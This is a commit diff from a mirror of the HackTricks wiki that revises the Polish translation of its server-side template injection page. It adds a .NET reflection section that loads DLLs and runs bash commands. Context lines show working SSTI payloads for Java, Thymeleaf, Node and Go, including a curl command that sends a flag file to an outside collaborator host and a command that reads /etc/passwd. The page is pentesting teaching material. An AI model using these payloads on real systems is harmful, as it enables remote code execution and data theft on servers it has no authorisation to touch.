mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
c959bdcf7b
commit
86543b5aab
@ -6,17 +6,17 @@
|
||||
|
||||
Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.
|
||||
|
||||
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który ilustruje podatny fragment kodu używający Jinja:
|
||||
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||
|
||||
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie zyskując kontrolę nad serwerem.
|
||||
Payload `{{bad-stuff-here}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem.
|
||||
|
||||
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.
|
||||
|
||||
@ -24,10 +24,10 @@ Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, dewel
|
||||
|
||||
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzing szablonu** jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
|
||||
|
||||
- Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
||||
- Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
||||
- Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
|
||||
- **Kontekst tekstowy**: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
|
||||
- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby zobaczyć, czy wyjście serwera jest dynamiczne czy stałe, jak w `greeting=data.username}}hello`, zwracając nazwę użytkownika.
|
||||
- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w `greeting=data.username}}hello`, zwracając nazwę użytkownika.
|
||||
|
||||
#### Faza identyfikacji
|
||||
|
||||
@ -68,7 +68,7 @@ interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szabl
|
||||
|
||||
### Ogólne
|
||||
|
||||
W tej **liście słów** możesz znaleźć **zmienne zdefiniowane** w środowiskach niektórych z wymienionych poniżej silników:
|
||||
W tej **liście słów** możesz znaleźć **zmienne zdefiniowane** w środowiskach niektórych z silników wymienionych poniżej:
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -171,7 +171,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest wspierane w innych lokalizacjach szablonów, używając składni takiej jak `[[...]]` lub `[(...)]`. Zatem prosty ładunek testowy SSTI może wyglądać jak `[[${7*7}]]`.
|
||||
|
||||
Jednak prawdopodobieństwo, że ten ładunek zadziała, jest zazwyczaj niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów w locie, co jest rzadkie.
|
||||
Jednak prawdopodobieństwo, że ten ładunek zadziała, jest ogólnie niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów w locie, co jest rzadkie.
|
||||
|
||||
Thymeleaf oferuje również _wstępne przetwarzanie wyrażeń_, gdzie wyrażenia w podwójnych podkreśleniach (`__...__`) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
|
||||
```java
|
||||
@ -184,7 +184,7 @@ Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:
|
||||
To wskazuje, że jeśli silnik szablonów przetworzy te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -201,7 +201,7 @@ el-expression-language.md
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Ominić filtry**
|
||||
**Ominięcie filtrów**
|
||||
|
||||
Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
|
||||
|
||||
@ -316,7 +316,7 @@ Naprawione przez [https://github.com/HubSpot/jinjava/pull/230](https://github.co
|
||||
- `{{'a'.toUpperCase()}}` - "A"
|
||||
- `{{'a'.concat('b')}}` - "ab"
|
||||
- `{{'a'.getClass()}}` - java.lang.String
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj [projekt Jinjava na Githubie](https://github.com/HubSpot/jinjava/).
|
||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak managed beans) w JavaEE. Jest szeroko stosowana w różnych technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
|
||||
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
|
||||
- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiednimi danymi i akcjami w backendzie.
|
||||
- **JavaServer Pages (JSP)**: EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a managed beans, zapewniając bardziej spójną strukturę aplikacji.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
|
||||
|
||||
Sprawdź następującą stronę, aby dowiedzieć się więcej o **eksploatacji interpreterów EL**:
|
||||
|
||||
@ -679,7 +679,7 @@ URLencoded:
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
**Serwerowa Strona**
|
||||
**Serwer Stron**
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
@ -814,7 +814,7 @@ Sprawdź następującą stronę, aby poznać triki dotyczące **obejścia wykony
|
||||
|
||||
[Oficjalna strona](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na zasadach BSD.
|
||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, jest szeroko stosowany i licencjonowany na zasadach BSD.
|
||||
|
||||
- `{{7*7}} = Błąd`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -928,6 +928,23 @@ Metoda .NET `System.Diagnostics.Process.Start` może być używana do uruchamian
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### Obejście ograniczeń .Net
|
||||
|
||||
Mechanizmy refleksji .NET mogą być używane do obejścia czarnej listy lub klas, które nie są obecne w zestawie. DLL mogą być ładowane w czasie wykonywania z metodami i właściwościami dostępnymi z podstawowych obiektów.
|
||||
|
||||
Dll mogą być ładowane za pomocą:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - z systemu plików.
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - bezpośrednio z żądania.
|
||||
|
||||
Pełne wykonanie polecenia:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**Więcej informacji**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
|
||||
@ -950,7 +967,7 @@ W silniku szablonów Go potwierdzenie jego użycia można przeprowadzić za pomo
|
||||
|
||||
**Eksploatacja XSS**
|
||||
|
||||
Z pakietem `text/template`, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Z pakietem `text/template` XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -958,7 +975,7 @@ vbnet Copy code
|
||||
|
||||
Eksploatacja RCE znacznie różni się między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Dla RCE przez SSTI w Go, metody obiektów mogą być wywoływane. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj konieczne jest uzyskanie dostępu do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:
|
||||
Dla RCE przez SSTI w Go można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj konieczny jest dostęp do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user